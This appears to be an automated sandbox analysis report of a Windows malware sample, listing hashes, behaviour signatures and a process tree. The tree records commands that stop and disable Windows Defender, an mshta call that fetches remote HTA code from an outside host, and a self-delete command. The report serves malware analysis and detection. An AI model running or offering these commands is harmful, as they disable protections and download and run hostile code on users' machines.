Analysis

  • max time kernel
    150s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    08-07-2024 20:15

General

  • Target

    2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe

  • Size

    2.2MB

  • MD5

    2dab1dbc69f84a8582d118aeb9605c52

  • SHA1

    6ebebcfc0f3d01c11afe21fe95a67af0b5578ba1

  • SHA256

    13bea9694a6b9ca62d29c5fb3337231b406615f10e103889b337251f97814775

  • SHA512

    c0adc6b26e986098677f8b5b1bd34c9bfe13025b00f4efafd4656c3beb7115269dd971e373606c3211aba3388e53080a7ba79280325736c513b46d8f2bbae8d4

  • SSDEEP

    49152:dRRIZ2dUIPYiiqowvq00p7PiKXTqp/nYi:Lw/IrwzXOp/Yi

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://softscoreinc.com/soft-usage/favicon.ico?0=1200&1=PDIZKVQX&2=i-s&3=104&4=7601&5=6&6=1&7=99600&8=1033

Signatures

  • Disables service(s) 3 TTPs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • UAC bypass 3 TTPs 3 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 16 IoCs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs
  • System policy modification 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2120
    • C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      PID:2696
    • C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:2700
    • C:\Windows\SysWOW64\net.exe
      net stop msmpsvc
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1996
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop msmpsvc
        3⤵
          PID:3008
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        2⤵
        • Launches sc.exe
        PID:2332
      • C:\Users\Admin\AppData\Roaming\Microsoft\addwwy.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\addwwy.exe
        2⤵
        • Modifies WinLogon for persistence
        • UAC bypass
        • Event Triggered Execution: Image File Execution Options Injection
        • Executes dropped EXE
        • Checks whether UAC is enabled
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        • System policy modification
        PID:2764
        • C:\Windows\SysWOW64\sc.exe
          sc stop WinDefend
          3⤵
          • Launches sc.exe
          PID:2780
        • C:\Windows\SysWOW64\sc.exe
          sc config WinDefend start= disabled
          3⤵
          • Launches sc.exe
          PID:2652
        • C:\Windows\SysWOW64\net.exe
          net stop msmpsvc
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2904
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop msmpsvc
            4⤵
              PID:2612
          • C:\Windows\SysWOW64\sc.exe
            sc config msmpsvc start= disabled
            3⤵
            • Launches sc.exe
            PID:2640
          • C:\Windows\SysWOW64\mshta.exe
            mshta.exe "http://softscoreinc.com/soft-usage/favicon.ico?0=1200&1=PDIZKVQX&2=i-s&3=104&4=7601&5=6&6=1&7=99600&8=1033"
            3⤵
            • Modifies Internet Explorer settings
            PID:2632
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\2DAB1D~1.EXE" >> NUL
          2⤵
          • Deletes itself
          PID:3020

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • \Users\Admin\AppData\Roaming\Microsoft\addwwy.exe

        Filesize

        2.2MB

        MD5

        2dab1dbc69f84a8582d118aeb9605c52

        SHA1

        6ebebcfc0f3d01c11afe21fe95a67af0b5578ba1

        SHA256

        13bea9694a6b9ca62d29c5fb3337231b406615f10e103889b337251f97814775

        SHA512

        c0adc6b26e986098677f8b5b1bd34c9bfe13025b00f4efafd4656c3beb7115269dd971e373606c3211aba3388e53080a7ba79280325736c513b46d8f2bbae8d4

      • memory/2120-4-0x00000000020F0000-0x00000000020F1000-memory.dmp

        Filesize

        4KB

      • memory/2120-15-0x00000000020A0000-0x00000000020A1000-memory.dmp

        Filesize

        4KB

      • memory/2120-5-0x00000000020C0000-0x00000000020C1000-memory.dmp

        Filesize

        4KB

      • memory/2120-12-0x00000000033F0000-0x00000000033F2000-memory.dmp

        Filesize

        8KB

      • memory/2120-11-0x0000000003450000-0x0000000003451000-memory.dmp

        Filesize

        4KB

      • memory/2120-10-0x0000000003620000-0x0000000003621000-memory.dmp

        Filesize

        4KB

      • memory/2120-9-0x0000000003400000-0x0000000003402000-memory.dmp

        Filesize

        8KB

      • memory/2120-8-0x0000000003410000-0x0000000003411000-memory.dmp

        Filesize

        4KB

      • memory/2120-7-0x0000000003400000-0x0000000003580000-memory.dmp

        Filesize

        1.5MB

      • memory/2120-3-0x00000000008E0000-0x00000000008E1000-memory.dmp

        Filesize

        4KB

      • memory/2120-13-0x00000000001B0000-0x00000000001B1000-memory.dmp

        Filesize

        4KB

      • memory/2120-16-0x00000000001C0000-0x00000000001C1000-memory.dmp

        Filesize

        4KB

      • memory/2120-6-0x0000000002110000-0x0000000002111000-memory.dmp

        Filesize

        4KB

      • memory/2120-2-0x00000000008F0000-0x00000000008F1000-memory.dmp

        Filesize

        4KB

      • memory/2120-1-0x0000000000910000-0x000000000096A000-memory.dmp

        Filesize

        360KB

      • memory/2120-0-0x0000000000400000-0x000000000082F000-memory.dmp

        Filesize

        4.2MB

      • memory/2120-14-0x0000000003420000-0x0000000003421000-memory.dmp

        Filesize

        4KB

      • memory/2120-26-0x00000000047D0000-0x0000000004BFF000-memory.dmp

        Filesize

        4.2MB

      • memory/2120-28-0x0000000000910000-0x000000000096A000-memory.dmp

        Filesize

        360KB

      • memory/2120-25-0x00000000047D0000-0x0000000004BFF000-memory.dmp

        Filesize

        4.2MB

      • memory/2120-29-0x0000000000400000-0x000000000082F000-memory.dmp

        Filesize

        4.2MB

      • memory/2764-30-0x0000000000400000-0x000000000082F000-memory.dmp

        Filesize

        4.2MB

      • memory/2764-31-0x0000000000400000-0x000000000082F000-memory.dmp

        Filesize

        4.2MB